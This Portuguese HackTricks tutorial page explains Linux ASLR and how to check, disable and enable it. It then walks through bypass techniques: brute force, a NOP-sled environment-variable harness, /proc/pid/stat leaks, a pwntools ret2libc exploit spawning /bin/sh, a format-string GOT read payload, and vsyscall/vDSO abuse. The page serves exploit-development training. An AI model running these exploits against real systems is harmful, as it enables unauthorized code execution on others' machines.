# ASLR {{#include ../../../banners/hacktricks-training.md}} ## Informações Básicas **Address Space Layout Randomization (ASLR)** é uma técnica de segurança utilizada em sistemas operacionais para **randomizar os endereços de memória** usados por processos do sistema e de aplicativos. Ao fazer isso, torna-se significativamente mais difícil para um atacante prever a localização de processos e dados específicos, como a pilha, heap e bibliotecas, mitigando assim certos tipos de exploits, particularmente estouros de buffer. ### **Verificando o Status do ASLR** Para **verificar** o status do ASLR em um sistema Linux, você pode ler o valor do arquivo **`/proc/sys/kernel/randomize_va_space`**. O valor armazenado neste arquivo determina o tipo de ASLR que está sendo aplicado: - **0**: Sem randomização. Tudo é estático. - **1**: Randomização conservadora. Bibliotecas compartilhadas, pilha, mmap(), página VDSO são randomizadas. - **2**: Randomização completa. Além dos elementos randomizados pela randomização conservadora, a memória gerenciada através de `brk()` é randomizada. Você pode verificar o status do ASLR com o seguinte comando: ```bash cat /proc/sys/kernel/randomize_va_space ``` ### **Desativando ASLR** Para **desativar** ASLR, você define o valor de `/proc/sys/kernel/randomize_va_space` como **0**. Desativar ASLR geralmente não é recomendado fora de cenários de teste ou depuração. Aqui está como você pode desativá-lo: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` Você também pode desativar o ASLR para uma execução com: ```bash setarch `arch` -R ./bin args setarch `uname -m` -R ./bin args ``` ### **Habilitando ASLR** Para **habilitar** ASLR, você pode escrever um valor de **2** no arquivo `/proc/sys/kernel/randomize_va_space`. Isso geralmente requer privilégios de root. Habilitar a randomização completa pode ser feito com o seguinte comando: ```bash echo 2 | sudo tee /proc/sys/kernel/randomize_va_space ``` ### **Persistência Entre Reinicializações** As alterações feitas com os comandos `echo` são temporárias e serão redefinidas após a reinicialização. Para tornar a alteração persistente, você precisa editar o arquivo `/etc/sysctl.conf` e adicionar ou modificar a seguinte linha: ```tsconfig kernel.randomize_va_space=2 # Enable ASLR # or kernel.randomize_va_space=0 # Disable ASLR ``` Após editar `/etc/sysctl.conf`, aplique as alterações com: ```bash sudo sysctl -p ``` Isso garantirá que suas configurações de ASLR permaneçam entre reinicializações. ## **Bypasses** ### Força bruta de 32 bits PaX divide o espaço de endereçamento do processo em **3 grupos**: - **Código e dados** (inicializados e não inicializados): `.text`, `.data` e `.bss` —> **16 bits** de entropia na variável `delta_exec`. Esta variável é inicializada aleatoriamente com cada processo e adicionada aos endereços iniciais. - **Memória** alocada por `mmap()` e **bibliotecas compartilhadas** —> **16 bits**, chamada `delta_mmap`. - **A pilha** —> **24 bits**, referida como `delta_stack`. No entanto, ela efetivamente usa **11 bits** (do 10º ao 20º byte, inclusive), alinhados a **16 bytes** —> Isso resulta em **524.288 endereços de pilha reais possíveis**. Os dados anteriores são para sistemas de 32 bits e a entropia final reduzida torna possível contornar o ASLR tentando a execução repetidamente até que a exploração seja concluída com sucesso. #### Ideias de força bruta: - Se você tiver um estouro grande o suficiente para hospedar um **grande NOP sled antes do shellcode**, você poderia simplesmente forçar endereços na pilha até que o fluxo **salte sobre alguma parte do NOP sled**. - Outra opção para isso, caso o estouro não seja tão grande e a exploração possa ser executada localmente, é possível **adicionar o NOP sled e o shellcode em uma variável de ambiente**. - Se a exploração for local, você pode tentar forçar o endereço base da libc (útil para sistemas de 32 bits): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` - Se você estiver atacando um servidor remoto, pode tentar **forçar a descoberta do endereço da função `usleep` da `libc`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor demora 10s a mais para responder**, você encontrou o endereço dessa função. > [!TIP] > Em sistemas de 64 bits, a entropia é muito maior e isso não deveria ser possível. ### Força bruta na pilha de 64 bits É possível ocupar uma grande parte da pilha com variáveis de ambiente e então tentar abusar do binário centenas/milhares de vezes localmente para explorá-lo.\ O código a seguir mostra como é possível **apenas selecionar um endereço na pilha** e a cada **algumas centenas de execuções** esse endereço conterá a **instrução NOP**: ```c //clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie #include int main() { unsigned long long address = 0xffffff1e7e38; unsigned int* ptr = (unsigned int*)address; unsigned int value = *ptr; printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value); return 0; } ``` ```python import subprocess import traceback # Start the process nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops # Define the environment variables you want to set env_vars = { 'a': shellcode_env_var, 'b': shellcode_env_var, 'c': shellcode_env_var, 'd': shellcode_env_var, 'e': shellcode_env_var, 'f': shellcode_env_var, 'g': shellcode_env_var, 'h': shellcode_env_var, 'i': shellcode_env_var, 'j': shellcode_env_var, 'k': shellcode_env_var, 'l': shellcode_env_var, 'm': shellcode_env_var, 'n': shellcode_env_var, 'o': shellcode_env_var, 'p': shellcode_env_var, } cont = 0 while True: cont += 1 if cont % 10000 == 0: break print(cont, end="\r") # Define the path to your binary binary_path = './aslr-testing' try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if "0xd5" in str(output): print(str(cont) + " -> " + output) except Exception as e: print(e) print(traceback.format_exc()) pass ```
### Informações Locais (`/proc/[pid]/stat`) O arquivo **`/proc/[pid]/stat`** de um processo é sempre legível por todos e **contém informações interessantes** como: - **startcode** & **endcode**: Endereços acima e abaixo com o **TEXT** do binário - **startstack**: O endereço do início da **stack** - **start_data** & **end_data**: Endereços acima e abaixo onde está o **BSS** - **kstkesp** & **kstkeip**: Endereços atuais de **ESP** e **EIP** - **arg_start** & **arg_end**: Endereços acima e abaixo onde estão os **argumentos cli**. - **env_start** & **env_end**: Endereços acima e abaixo onde estão as **variáveis de ambiente**. Portanto, se o atacante estiver no mesmo computador que o binário sendo explorado e este binário não espera o overflow de argumentos brutos, mas de uma **entrada diferente que pode ser criada após a leitura deste arquivo**. É possível para um atacante **obter alguns endereços deste arquivo e construir offsets a partir deles para a exploração**. > [!TIP] > Para mais informações sobre este arquivo, consulte [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) procurando por `/proc/pid/stat` ### Tendo um leak - **O desafio é fornecer um leak** Se você receber um leak (desafios fáceis de CTF), você pode calcular offsets a partir dele (supondo, por exemplo, que você conheça a versão exata da libc que está sendo usada no sistema que você está explorando). Este exemplo de exploração é extraído do [**exemplo daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (ver essa página para mais detalhes): ```python from pwn import * elf = context.binary = ELF('./vuln-32') libc = elf.libc p = process() p.recvuntil('at: ') system_leak = int(p.recvline(), 16) libc.address = system_leak - libc.sym['system'] log.success(f'LIBC base: {hex(libc.address)}') payload = flat( 'A' * 32, libc.sym['system'], 0x0, # return address next(libc.search(b'/bin/sh')) ) p.sendline(payload) p.interactive() ``` - **ret2plt** Abusando de um buffer overflow, seria possível explorar um **ret2plt** para exfiltrar um endereço de uma função da libc. Verifique: {{#ref}} ret2plt.md {{#endref}} - **Format Strings Arbitrary Read** Assim como no ret2plt, se você tiver uma leitura arbitrária através de uma vulnerabilidade de format strings, é possível exfiltrar o endereço de uma **função da libc** do GOT. O seguinte [**exemplo é daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): ```python payload = p32(elf.got['puts']) # p64() if 64-bit payload += b'|' payload += b'%3$s' # The third parameter points at the start of the buffer # this part is only relevant if you need to call the main function again payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer payload += p32(elf.symbols['main']) ``` Você pode encontrar mais informações sobre leitura arbitrária de Format Strings em: {{#ref}} ../../format-strings/ {{#endref}} ### Ret2ret & Ret2pop Tente contornar o ASLR abusando de endereços dentro da pilha: {{#ref}} ret2ret.md {{#endref}} ### vsyscall O mecanismo **`vsyscall`** serve para melhorar o desempenho permitindo que certas chamadas de sistema sejam executadas no espaço do usuário, embora sejam fundamentalmente parte do kernel. A vantagem crítica dos **vsyscalls** reside em seus **endereços fixos**, que não estão sujeitos ao **ASLR** (Randomização de Layout de Espaço de Endereçamento). Essa natureza fixa significa que os atacantes não precisam de uma vulnerabilidade de vazamento de informações para determinar seus endereços e usá-los em um exploit.\ No entanto, nenhum gadget super interessante será encontrado aqui (embora, por exemplo, seja possível obter um equivalente a `ret;`) (O seguinte exemplo e código é [**deste writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation)) Por exemplo, um atacante pode usar o endereço `0xffffffffff600800` dentro de um exploit. Enquanto tentar pular diretamente para uma instrução `ret` pode levar à instabilidade ou falhas após a execução de alguns gadgets, pular para o início de um `syscall` fornecido pela seção **vsyscall** pode se mostrar bem-sucedido. Ao colocar cuidadosamente um gadget **ROP** que leva a execução para este endereço **vsyscall**, um atacante pode conseguir execução de código sem precisar contornar o **ASLR** para esta parte do exploit. ``` ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g 
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
```
### vDSO

Note que pode ser possível **contornar o ASLR abusando do vdso** se o kernel for compilado com CONFIG_COMPAT_VDSO, pois o endereço do vdso não será randomizado. Para mais informações, consulte:

{{#ref}}
../../rop-return-oriented-programing/ret2vdso.md
{{#endref}}

{{#include ../../../banners/hacktricks-training.md}}